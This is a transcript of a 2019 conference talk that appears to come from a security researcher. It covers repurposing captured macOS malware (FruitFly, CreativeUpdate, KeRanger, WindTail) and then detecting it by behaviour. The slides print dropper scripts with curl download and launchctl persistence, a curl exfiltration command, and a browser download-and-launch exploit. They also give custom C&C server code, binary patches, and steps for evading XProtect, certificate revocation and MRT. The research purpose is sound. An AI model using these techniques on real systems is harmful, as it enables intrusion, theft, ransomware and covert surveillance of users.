What's in the Blue Bin: Recycled Malware

Transcript

1. © JAMF Software, LLC What's in the Blue Bin? 
 Recycled Malware! 11:30 - 12:15 PM UP NEXT
3. Patrick Wardle Principal Security Researcher Jamf WHOIS @patrickwardle
4. repurposing !detection protection OUTLINE the idea
5. The Idea "good hackers copy; great hackers steal"
6. spy "a" the "lab" } captured! 
 (by spy "b") REPURPOSING MALWARE ...for personal gain spy "b" "repurposed"
7. ...rather why not! WHY? With more resources and motivations, APT & cyber-criminal groups are (likely) going to write far better malware than you! money coders mission fully featured that will also be attributed to them! } fully tested + +
8. ...so why not for us? WORKS FOR "THEM" leaked slides } "risky" deployments attribution
9. from to CHALLENGES without source code! find all 
 relevant logic understand 
 C&C protocol patch (correctly) avoid (AV) detection analysis phase create C&C server
10. incomplete patch EXAMPLE: FAIL $ cat fpsaud #!/usr/bin/perl use strict;use warnings;use IO::Socket;use IPC::Open2;my$l;sub G{die if!defined syswrite$l,$_[0]}sub J{my($U, $A)=('','');while($_[0]>length$U){die if! sysread$l,$A,$_[0]-length$U;$U.=$A;}return$U;} sub O{unpack'V',J 4}sub N{J O}sub H{my$U=N; $U=~s/\\/\//g;$U}sub I{my$U=eval{my$C=`$_[0]` #backup c&c servers
 for my $B( split /a/, M('1fg7kkb1nnhokb71jrmkb;rm`;kb...') ) { push @e, map $_ . $B, split /a/, M('dql-lwslk-bdql...'); } wtf? ...but backup C&C servers left intact :/ malware...(fully?) repurposed +
11. implausible usage EXAMPLE: FAIL $ open Coldroot/ com.apple.audio.driver.app/
 Exception Type: EXC_CRASH (SIGKILL) Termination Reason: EXEC, [0xc] This UPX compressed binary contains an invalid Mach-O header and cannot be loaded. ColdRoot (PoC) (crashes on macOS) her: "I was hacked!" me: clearly "planted" CrossRAT (govt malware): "targets include individuals and entities that a nation state might typically attack, including governments, [and] military targets"
12. Repurposing recycling (macOS) malware
13. choose your malware! REPURPOSING capabilities: attribution: 120+ mac malware samples! ransomware crypto-miner backdoor implant
14. 0x00001a47 lea eax, dword [edi+4] 0x00001a4a mov esi, dword [edi+0x44] 0x00001a4d sub esp, 0xc 0x00001a50 push eax 0x00001a51 call gethostbyname 01 02 03 04 05 06
 analyze the specimen REPURPOSING understand protocol $ lldb malware.app (lldb) b gethostbyname (lldb) c Process stopped: gethostbyname (lldb) x/s *((char**)($esp+4)) 0x00112240: "89.34.111.113" find remote access e.g. check-in w/ install path 0x0000848e mov dl, byte [dataFromServer] ... 0x00004125 dec dl 0x00004127 cmp dl, 0x42 0x0000412a ja invalidCommand 0x00004145 movzx eax, dl 0x00004148 jmp dword [commands+eax*4] 01 02 03 04 05 06 07 08 09 10
 understand capabilities C&C 
 server commands!
15. patch to "reconfigure" REPURPOSING $ python server.py 1337 listening on ('0.0.0.0', 1337) waiting for a connection… malware connected: '192.168.0.04' connection received! 89.34.111.113 original C&C server patching C&C server address 89.34.111.113 192.168.0.5
16. create a custom C&C server REPURPOSING "Offensive Malware Analysis: Dissecting FruitFly" (p. wardle) 
 VirusBulletin.com/uploads/pdf/magazine/2017/VB2017-Wardle.pdf $ python server.py 1337 ... malware connected: '192.168.0.4' [+] specify command: 11
 sending command: 11 (pwd) response: byte: 11 (command) string: '/Users/user/Desktop' [+] specify command: 02
 sending command: 02 (screenshot) (remote) screenshot
17. fully-featured and undetected for 10yrs+ OSX.FRUITFLY (BACKDOOR) } mouse & keys files processes webcam discovered by 
 @thomasareed terminal screenshot
18. repurposing the backdoor OSX.FRUITFLY if(@ARGV == 1) {
 if($ARGV[0] =~ /^\d+$/ ){ $h = $ARGV[0] }
 elsif($ARGV[0] =~ /^([^:]+):(\d+)$/) {
 ($h, @r) = ($2, scalar reverse $1);
 }
 }
 
 $g = shift @r; push @r, $g;
 $l = new IO::Socket::INET(
 PeerAddr => scalar( reverse $g ),
 PeerPort => $h,
 Proto => 'tcp',
 Timeout => 10 ); 01 02 03 04 05 06 07 08 09 10 11 12 13
 $ cat ~/Library/LaunchAgents/
 com.fruitfly.plist { KeepAlive = 0; Label = "com.fruitfly.host";
 ProgramArguments = ( "/Users/user/.fruitfly" "ip.addr:port" );
 RunAtLoad = 1; } $ ./fruitfly <port> $ ./fruitfly <addr:port> specify (custom)C&C via cmdline! persist (w/ C&C server) no need to patch (malware)! parsing cmdline args?
19. creating a custom installer OSX.FRUITFLY #ex: $ python ffInstaller.py FruitFly/fpsaud 192.168.0.2:1337
 FRUIT_FLY = '~/fpsaud'
 FRUIT_FLY_PLIST = '~/Library/LaunchAgents/com.fruit.fly.plist'
 plist = '<?xml version="1.0" encoding="UTF-8"?> ...'
 
 shutil.copyfile(sys.argv[1], os.path.expanduser(FRUIT_FLY))
 
 with open(os.path.expanduser(FRUIT_FLY_PLIST), 'w') as plistFile:
 plistFile.write(plist % (os.path.expanduser(FRUIT_FLY), sys.argv[2])) 01 02 03 04 05 06 07 08 09
 custom OSX.FruitFly installer hrmm, 
 we need an installer then copy malware write plist }
21. spread via a popular app website OSX.CREATIVEUPDATE (MINER) macupdate.com security alert monero miner not mozilla! signed?
22. a brief triage OSX.CREATIVEUPDATE $ hdiutil attach "Firefox 58.0.2.dmg" attached "Firefox 58.0.2.dmg" -> /Volumes/Firefox mount (infected) dmg void -[ScriptExecController loadAppSettings]{
 
 //get path of 'script' in Resources directory
 r13 = [[var_1B0 pathForResource:@"script" ofType:0x0] retain];
 ...
 [self executeScriptWithoutPrivileges]; 01 02 03 04 05 06 void -[ScriptExecController executeScriptWithoutPrivileges]{
 
 //launch Resources/script
 r13->task = [[NSTask alloc] init];
 [r13->task setLaunchPath:r13->interpreterPath];
 [r13->task setArguments:r13->arguments];
 [r13->task launch]; 01 02 03 04 05 06
 07 app's bundle contents
23. a brief triage (script) OSX.CREATIVEUPDATE $ cat /Volumes/Firefox/Firefox.app/Contents/Resources/script open Firefox.app
 if [ -f ~/Library/mdworker/mdworker ]; then killall MozillaFirefox else nohup curl -o ~/Library/mdworker.zip https://public.adobecc.com/files/ 1U14RSV3MVAHBMEGVS4LZ42AFNYEFF?content_disposition=attachment && unzip -o ~/Library/mdworker.zip -d ~/Library && mkdir -p ~/Library/LaunchAgents && mv ~/Library/mdworker/MacOSupdate.plist ~/Library/LaunchAgents && sleep 300 && launchctl load -w ~/Library/LaunchAgents/MacOSupdate.plist && rm -rf ~/Library/mdworker.zip && killall MozillaFirefox & Resources/script } plist binary launch real Firefox! mdworker.zip
24. a brief triage (persistent miner) OSX.CREATIVEUPDATE $ cat MacOS.plist <key>ProgramArguments</key> <array> <string>sh</string> <string>-c</string> <string> ~/Library/mdworker/mdworker 
 -user walker18@protonmail.ch -xmr </string> </array> MacOS.plist $ ./mdworker -help Usage: minergate-cli [-version] -user <email> ... mdworker Miner Gate's 
 cli miner } mdworker -user 
 walker18@protonmail.ch 

25. repurposing the miner OSX.CREATIVEUPDATE $ cat MacOS.plist ... <string> ~/Library/mdworker/mdworker 
 -user patrick@objective-see.com -xmr </string> change miner account modify Resources/script $ cat Resources/script open Firefox.app
 ...
 unzip -o mdworker.zip -d ~/Library && 
 mkdir -p ~/Library/LaunchAgents && 
 mv ~/Library/mdworker/MacOS.plist ~/Library/LaunchAgents && launchctl load -w ~/Library/LaunchAgents/MacOS.plist && killall MozillaFirefox & Resources/ mdworker.zip add mdworker.zip no need for server } plist miner mdworker.zip
26. repurposing the miner OSX.CREATIVEUPDATE $ hdiutil create -volname "Firefox 58.0.2" -srcfolder Firefox.app -ov 
 -format UDZO "Firefox 58.0.2.dmg" created: Firefox 58.0.2.dmg demo! re-package into "Firefox.dmg"
28. spread via popular app's official website OSX.KERANGER (RANSOMWARE) $ file Transmission.app/Contents/Resources/General.rtf General.rtf: Mach-O 64-bit executable x86_64 General.rtf
 Mach-O 64-bit binary payload //copy malware: 
 // General.rtf -> ~/Library/kernel_service
 // then make executable and execute via 'system'
 sprintf_chk(pathSrc, ... "%s/Resources/General.rtf", );
 sprintf_chk(pathDest, ... "%s/Library/kernel_service", );
 
 chmod(pathDest, 0x40);
 system(pathDest); 01 02 03 04 05 06 07 08 transmission.app 
 hacked! install, then launch payload (General.rtf)
29. a brief triage OSX.KERANGER //encrypt /Users
 recursive_task("/Users", _encrypt_entry, _putReadme);
 
 //encrypt /Volumes
 recursive_task("/Volumes", _check_ext_encrypt, _putReadme);
 
 //mark encryption as completed
 sprintf_chk(0x0, 0x0, 0x400, "%s/Library/.kernel_complete"...);
 rbx = fopen(0x0, "w"); fwrite("do not touch this\n", 0x12, 0x1, rbx); 01 02 03 04 05 06 07 08 09 (public) RSA key decrypt instructions $ ./networkSniffer GET /osx/ping? user_id=general&uuid=c26f3...&model=VMware7,1 
 HTTP/1.0 Host: lclebb6kvohlkcml.onion.link
 
 User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/ 41.0.2228.0 Safari/537.36 network request to TOR-based C&C encrypt all things! }
30. repurposing the ransomware OSX.KERANGER nop out 3-day sleep modify C&C servers (127.0.0.1 for testing) startEncrypt:
 ...
 0x000000010000238b E820FDFFFF call waitOrExit
 0x0000000100002390 85C0 test eax, eax
 0x0000000100002392 0F84A1020000 je leave 01 02 03 04 05 startEncrypt:
 ...
 0x000000010000238b 90 nop
 0x000000010000238c 90 nop
 ...
 0x0000000100002397 90 nop 01 02 03 04 05 06 wait/sleep!
31. repurposing the ransomware OSX.KERANGER $ nc -l 0.0.0.0 80 < response.txt HTTP/1.1 200 OK Date: Sun, 10 Oct 2010 23:26:07 GMT Server: Apache/2.2.8 (Ubuntu) mod_ssl/2.2.8 MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDDuUx6Py8PNQwaN6A1... nokVRGKUPt3k3ptXPYQIDAQAB c2VuZCBhbGwgeW91ciBtb25leXogdG8gd2FyZGxlQG9iamVjdGl2ZS1 zZWUuY29tIQ== (public) RSA key decrypt instructions expected (base64-encoded) response "C&C" server create custom C&C "server"
33. triage (infection vector) OSX.WINDTAIL (BACKDOOR) $ cat Final_Presentation.app/ Contents/Info.plist <?xml version="1.0" encoding="UTF-8"?> <dict> ... <key>CFBundleURLTypes</key> <array> <dict> <key>CFBundleURLName</key> <string>Local File</string> <key>CFBundleURLSchemes</key> <array> <string>openurl2622007</string> </array> </dict> </array> custom url scheme "Remote Mac Exploitation Via Custom URL Schemes"
 objective-see.com/blog/blog_0x38.html
34. triage (capabilities) OSX.WINDTAIL # ./procInfo [ process start ] pid: 1202 path: /usr/bin/zip args: ( "/usr/bin/zip", "/tmp/psk.txt.zip",
 "/private/etc/racoon/psk.txt" ) persistence (login item) # ./procInfo [ process start ] pid: 1258 path: /usr/bin/curl user: 501 args: ( "/usr/bin/curl", "-F", "vast=@/tmp/psk.txt.zip", "-F", "od=1601201920543863", "-F", "kl=users-mac.lan-user", "string2me.com/.../kESklNvxsNZQcPl.php" ) file collection file exfiltration
 (via curl)
35. triage (file download) OSX.WINDTAIL -(void)sdf {
 
 //get file name from C&C server
 var_50 = [r15 yoop:@"F5Ur0CCFMO/fWHjecxEqGLy/xq5gE....];
 url = [[NSURL alloc] initWithString:[NSString stringWithFormat:var_50, ....];
 request = [NSURLRequest requestWithURL:url,...];
 data = [NSURLConnection sendSynchronousRequest:request ...];
 fileName = [[NSString alloc] initWithData:data encoding:rcx ...];
 
 //get file contents from C&C server
 rcx = [r15 yoop:@"F5Ur0CCFMO/fWHjecxEqGLy/xq5gE98Zvi...];
 fileContents = [NSData dataWithContentsOfURL:[NSURL URLWithString:[NSString 
 stringWithFormat:@"%@%@", rcx, r8] ...];
 
 //save to disk
 [fileContents writeToFile: fileName ...]; 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 $ ./netiquette -list usrnode(4897) 
 127.0.0.1 -> flux2key.com:80 (Established)
 usrnode(4897) 
 127.0.0.1 -> flux2key.com:80 (Established) GET /liaROelcOeVvfjN/fsfSQNrIyxeRvXH.php
 response: file name GET /liaROelcOeVvfjN/update
 response: file contents 2x connections
36. triage (...and execute) OSX.WINDTAIL -(void)sdf {
 
 //extract via 'ditto'
 task = [[NSTask alloc] init];
 [task setLaunchPath:[var_68 yoop:@"x3EOmwsZL5..."];
 
 rdx = [NSArray arrayWithObjects:@"-x", @"-k", ...];
 [task setArguments:rdx, ...];
 [task launch];
 
 //launch
 bundle = [[NSBundle bundleWithPath:filePath] executablePath];
 task = [[NSTask alloc] init];
 [task setLaunchPath:bundle];
 [task launch]; 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 # ./procInfo [ process start ] path: /usr/bin/ditto args: ( "/usr/bin/ditto", "-x", "-k", "~/Library/update.zip", "~/Library" )
 [ process start ] path: ~/Library/update.app download & execute
37. triage (remote self-delete) OSX.WINDTAIL "1" terminate delete r14 = [NSFileManager defaultManager];
 rdx = [[NSBundle mainBundle] bundlePath];
 
 //remove (self)
 [r14 removeItemAtPath:rdx error:rcx];
 
 //terminate (self)
 [[NSApplication sharedApplication] terminate:0x0 ...]; 01 02 03 04 05 06 07 08
 http://flux2key.com/liaROelcOeVvfjN/ fsfSQNrIyxeRvXH.php?very=%@&xnvk=%@ } request self-delete logic
38. repurposing the exploit OSX.WINDTAIL //auto download .zip
 //Safari will unzip & trigger url registration
 var a = document.createElement('a');
 a.setAttribute('href', 'https://file.io/kBTfCn');
 a.setAttribute('download', 'Final_Presentation');
 $(a).appendTo('body');
 
 $(a)[0].click();
 
 //launch app via custom url scheme
 location.replace("openurl2622007://"); 01 02 03 04 05 06 07 08 09 10 11
 download & launch malware "Final_Presentation"
39. OSX.WindTail ...persisted !
40. repurposing the implant OSX.WINDTAIL modify C&C addresses C&C addresses are encrypted :/ load library & 
 hook decryption routine?! overwrite (un-needed) LC_LOAD_DYLIB entry $ vmmap usrnode __TEXT ~/Library/Final_Presentation.app/ Contents/MacOS/usrnode __TEXT ~/Library/Final_Presentation.app/ Contents/MacOS/swizzle.dylib 'injected' dylib: loaded!
41. repurposing the implant OSX.WINDTAIL method_exchangeImplementations(
 class_getInstanceMethod([self class], @selector(swizzle:)),
 class_getInstanceMethod(NSClassFromString(@"appdele"), @selector(yoop:)));
 
 -(NSString*)swizzle:(NSData*)data {
 
 //invoke original method ("yoop") to decrypt 
 decrypted = ((NSString*(*)(id,SEL,NSData*))origImplementation)(self,@selector(yoop:), data);
 
 //modify decrypted string as needed!
 
 return decrypted; } 01 02 03 04 05 06 07 08 09 10 11 12 13 swaps methods, via 'swizzle' url = [r15 yoop:@"F5Ur0CCFMO...]; 01 "flux2key.com" if (decrypt == "flux2key.com")
 return "ourServer.com" "ourServer.com" "F5Ur0CCFMO..." method: "swizzle" method: "yoop" "F5Ur0CCFMO..." -> "flux2key.com"
42. OSX.WINDTAIL $ open Final_Presentation.app dylib: loaded in usrnode (pid 1337)
 dylib: swizzled 'appdele yoop:'
 
 dylib: decrypted: "doc"
 dylib: decrypted: "docx"
 dylib: decrypted: "ppt"
 
 dylib: decrypted: flux2key.com
 dylib: swapping C&C server addr!
 flux2key.com -> "ourServer.com" } flux2key.com exfil download 
 & execute ourServer.com repurposing the implant
43. OSX.WINDTAIL from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
 
 def run(server_class=HTTPServer, handler_class=Handler):
 httpd = server_class(('', 80), handler_class)
 httpd.serve_forever()
 
 class Handler(BaseHTTPRequestHandler):
 
 def do_POST(self):
 boundary = self.headers.plisttext.split("=")[1]
 remainbytes = int(self.headers['content-length'])
 
 fn = re.findall(r'.*name="vast"; filename="(.*)"', line)
 fn = os.path.join('/tmp/exfil', fn[0])
 
 out = open(fn, 'wb')
 out.write(self.rfile.readline()) 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17
 custom C&C server: file exfiltration c&c logic: file exfil
45. custom C&C server: download & execute OSX.WINDTAIL def do_GET(self):
 
 #request for file name
 if 'runs=tup' in self.path:
 self.wfile.write('update.zip')
 
 #request for file contents
 elif 'update.zip' in self.path:
 with open('update.zip', mode='rb') as file: 
 self.wfile.write(file.read()) 01 02 03 04 05 06 07 08 09 10 request: file name (we pass back "update.zip") request: file contents "update.zip" c&c logic: download & execute "update.bin"
47. custom C&C server: self-delete OSX.WINDTAIL def do_GET(self):
 
 #request for self-delete
 if 'xnvk' in self.path:
 self.wfile.write("1") 01 02 03 04 05 request: self-delete? ('xnvk') (respond with: "1") "1" terminate delete } c&c logic: self-delete
49. !Detection remaining unseen, by apple, et. al
50. obstacles...but rather trivial to bypass ;) APPLE'S BUILT-IN MALWARE MITIGATIONS XProtect $ log show | grep -i MRT 
 2019-07-16 MRT: (libswiftFoundation.dylib) Found OSX.Snake.A infection.
 2019-07-16 MRT: (libswiftFoundation.dylib) Found OSX.CpuMeaner.A infection. revoked certificate checks Malware Removal Tool (MRT) "We designed macOS with advanced technologies ...to constantly monitor, and ultimately keep your Mac safer" -apple
51. built-in signature-based scanner (downloads) XPROTECT rule KeRangerA { meta: description = "OSX.KeRanger.A" strings: $a = {48 8D BD D0 EF FF FF BE 00 00 00 00 BA 00 04 00 00 31 C0 49 89 D8 ?? ?? ?? ?? ?? 31 F6 4C 89 E7 ?? ?? ?? ?? ?? 83 F8 FF 74 57 C7 85 C4 EB FF FF 00 00 00 00} condition: Macho and $a } /System/Library/CoreServices/XProtect.bundle/Contents/ Resources/XProtect.yara 'UXProtect' (Digita) scans downloads
52. ...by changing 1 byte BYPASSING XPROTECT description = "OSX.KeRanger.A"
 strings:
 $a = {48 8D BD D0 EF FF FF BE 00 00 00 00 BA 00 04 00 00 31 C0 49 89 D8 ?? ?? ?? ?? ??
 31 F6 4C 89 E7 ?? ?? ?? ?? ?? 83 F8 FF 74 57 C7 85 C4 EB FF FF 00 00 00 00} 01 02 03 04 Transmission.app re-order instructions modify
 instructions/consts mov edx, 0x400
 mov edx, 0x300 XProtect.yara how to change? }
54. a security mechanism to block malicious code CERTIFICATE CHECKS $ spctl --verbose=4 --assess --type execute OSX.WindTail/Final_Presentation.app Final_Presentation.app: CSSMERR_TP_CERT_REVOKED revoked (CSSMERR_TP_CERT_REVOKED) $ log stream kernel: (AppleMobileFileIntegrity) AMFI: code signature validation failed.
 trustd: [com.apple.securityd:policy] cert[0]: Revocation =(leaf)[force]> 1 amfid: (Security) Trust evaluate failure: [leaf Revocation1] kernel: proc 1947: load code signature error 4 for file "usrnode" now revoked: OSX.WindTail revoked cert? blocked!
55. ...simply unsign (and/or) resign BYPASSING CERTIFICATE REVOCATION $ codesign --remove-signature OSX.WindTail/Final_Presentation.app $ codesign -dvv OSX.WindTail/Final_Presentation.app Final_Presentation.app: code object is not signed at all remove (revoked) certificate undocumented flag: '--remove-signature ' $ codesign -s "Developer ID Application: <some dev id>" (re)sign (re)signed, validly
56. built-in signature-based scanner (installed) MALWARE REMOVAL TOOL (MRT) $ strings -a /System/Library/CoreServices/ MRT.app/Contents/MacOS/MRT | grep "OSX." OSX.CpuMeaner.A OSX.Mudminer.A OSX.ShellDrop.A OSX.Snake.A OSX.Proton.D OSX.Proton.C OSX.Proton.B OSX.Morcut.A OSX.Trovi.A OSX.InstallImitator.A OSX.Eleanor.A OSX.WireLurker.A OSX.MaMi.A OSX.HMining.C OSX.HMining.B OSX.HMining.A OSX.Mughthesec.A OSX.Netwire.A OSX.XcodeGhost.A OSX.Fruitfly.B (embedded) MRT detections remove! ...not just malware!
57. ...simply rename components BYPASSING MRT } MRT signature: OSX.Fruitfly.A persistence: "com.client.client.plist" binary: ~/.client FRUIT_FLY = "anything but '~/.client' "
 FRUIT_FLY_PLIST = "anything but 'com.client.client.plist' "
 
 plist = '''<?xml version="1.0" encoding="UTF-8"?> ...'''
 shutil.copyfile(sys.argv[1], os.path.expanduser(FRUIT_FLY))
 with open(os.path.expanduser(FRUIT_FLY_PLIST), 'w') as plistFile:
 plistFile.write(plist % (os.path.expanduser(FRUIT_FLY), sys.argv[2])) 01 02 03 04 05 06 07 bypass MRT !
58. ...similarly trivial to bypass? 3RD-PARTY ANTI-VIRUS PRODUCTS }OSX.FruitFly 'obfuscated' detections: 0 pack encrypt in-memory "Writing Bad @$$ Malware (for OSX)"
 
 p. wardle BH/2015 avoid detection?
59. Protection generically detecting (repurposed) threats
60. CODE NOTARIZATIONS scanned (by Apple) before distribution malware? "Ruined our whole op[eration]" clean notarized
61. however, some caveats CODE NOTARIZATIONS $ curl https:/evil.com/evil.bin -o evil.bin
 $ xattr -rc evil.com $ ./evil.bin [+] running evil.bin Given aritrary code execution (i.e. via exploit) ...an attacker can still run arbitrary code, such as repuposed malware notarization enforcement: only user-downloaded files
62. detect malware via (unusual) behaviors detect malware via signatures generically detect (even repurposed) malware!! persistence mic/camera download/upload screenshot key logging synthetic clicks file encryption FOCUS ON (POTENTIALLY) MALICIOUS BEHAVIORS ...vs static signatures
63. via file i/o monitoring PERSISTENCE int main(int argv, char** argv) {
 
 r12 = [NSURL fileURLWithPath:[[NSBundle mainBundle] bundlePath]];
 
 rbx = LSSharedFileListCreate(0x0, _kLSSharedFileListSessionLoginItems, 0x0);
 LSSharedFileListInsertItemURL(rbx, _kLSSharedFileListItemLast, 0x0, 0x0, 
 r12, 0x0, 0x0);
 ...
 
 } 01 02 03 04 05 06 07 08 09 10 "Methods of Malware Persistence on Mac OS"
 www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf persistence alert! OSX.WindTail persisting
64. via AVFoundation notifications MIC/CAMERA ACCESS public func start(eventHandler: @escaping AudioVideoHandler) {
 var property = CMIOObjectPropertyAddress(
 mSelector: kAudioDevicePropertyDeviceIsRunningSomewhere,
 mScope: kAudioObjectPropertyScopeGlobal,
 mElement: kAudioObjectPropertyElementMaster)
 
 CMIOObjectAddPropertyListener(camID, &property, camCallback,
 self.toOpaque()) 01 02 03 04 05 06 07 08 "OverSight: Exposing Spies on macOS" OSX.Crisis OSX.Eleanor OSX.Mokes OSX.FruitFly ...Zoom.app :P } detecting mic/camera access speakerdeck.com/patrickwardle/hack-in-the-box-2017-oversight- exposing-spies-on-macos
65. via CoreGraphics Event Notifications KEYLOGGER DETECTION public func start(eventHandler: @escaping EventTapsHandler) {
 
 notify_register_dispatch(kCGNotifyEventTapAdded, &self.notifyToken, DispatchQueue.global()) { [weak self] event in
 for newTap in newTaps.keys where nil == strongSelf.previousTaps[newTap] {
 if let tap = newTaps[newTap] {
 eventHandler(EventTapsEvent(tap: tap))
 ... 01 02 03 04 05 06 07 08 detecting keyboard "event taps" (kCGNotifyEventTapAdded)
66. DETECTING SYNTHETIC CLICKS generic protection, regardless of technique? "state" <process> is trying to d <stuff> !! deny allow let mask = (1 << CGEventType.leftMouseDown.rawValue) | 
 (1 << CGEventType.leftMouseUp.rawValue) ...
 
 eventTap = CGEvent.tapCreate(tap:.cgSessionEventTap, 
 eventsOfInterest: mask, callback: eventCallback, ... ) 01 02 03 04 05 06 public func eventCallback(proxy: CGEventTapProxy, eventType: CGEventType, event: CGEvent, ... ) {
 if 0 == event.getIntegerValueField(.eventSourceStateID) { //detected synthetic mouse click! 
 } 01 02 03 04 05 06 0x0: synthetic 0x1: user generated
67. GENERICALLY DETECTING MAC MALWARE ...via GamePlan (MonitorKit + Apple's game engine) MonitorKit Apple's game (logic) engine actions (alert, log, etc) alert ! ...in the news
68. DETECTING OSX.WINDTAIL via infection behaviors $ cat Final_Presentation.app/Contents/Info.plist ... <key>CFBundleURLTypes</key> <array> <dict> <key>CFBundleURLSchemes</key> <array> <string>openurl2622007</string> $event.isNewDirectory == 1 AND $event.file.isAppBundle == 1 AND $event.file.bundle.infoDictionary.CFBundleURLTypes != nil $event.isNewDirectory == 1 AND $event.process.name == 'Safari' Safari 'auto-open' 'auto' URL handler registration Safari created directory app with custom URL handler application start alert ! + + ?
69. DETECTING OSX.FRUITFLY via 'install time' behaviors ($event.path MATCHES[cd] "/Library/LaunchAgents/.*.plist" OR $event.path MATCHES[cd] "/Users/.*/Library/LaunchAgents/.*.plist") AND $event.isNewFile == 1 !$event.file.contentsAsDict.ProgramArguments[0].signingInfo("AppleSigned") launch agent persistence $ cat ~/Library/LaunchAgents/ com.client.client.plist ...
 <plist version="1.0"> <dict> <key>ProgramArguments</key> <array> <string> ~/.client </string> </array> ... "LaunchD" IN $tags AND $event.file.contentsAsDict.ProgramArguments[0]. lastPathComponent.startsWith(".") launch item persistence not signed by apple 'hidden' binary + + ? alert !
70. DETECTING OSX.FRUITFLY via runtime behaviors $event.process.path.lastPathComponent.startsWith(".") $event.process.path.startsWith("/tmp") $event.process.labels.contains("Unsigned") webcam synthetic clicks + + ...other (generic) detections? hidden process dropper payload in /tmp unsigned process + + + ? + alert !
71. @patrickwardle • 'OSX.FRUITFLY RECYCLED' -PHIL STOKES • 'REPURPOSING ONIONDUKE' -JOSH PITTS RESOURCES: IMAGES: • GITHUB.COM/ARIS-T2 What's in the Blue Bin? 
 ...recycled malware!
72. © JAMF Software, LLC Thank you for listening! Give us feedback by completing the 2-question session survey in the JNUC 2019 app. UP NEXT How to Make Your Users Your New Device Managers 1:30 PM